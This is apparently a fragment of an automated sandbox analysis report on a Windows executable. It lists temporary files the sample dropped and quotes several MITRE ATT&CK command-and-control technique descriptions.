C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oy1zruom.afo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qio3crjx.dij.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rbwf1hjk.ghv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wqgfilsy.3lw.psm1

C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-5SLSV.tmp\_isetup\_shfoldr.dll

C:\Users\user\AppData\Local\Temp\is-B0R75.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-B0R75.tmp\_isetup\_shfoldr.dll

C:\Users\user\AppData\Local\Temp\is-B2398.tmp\file.tmp

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre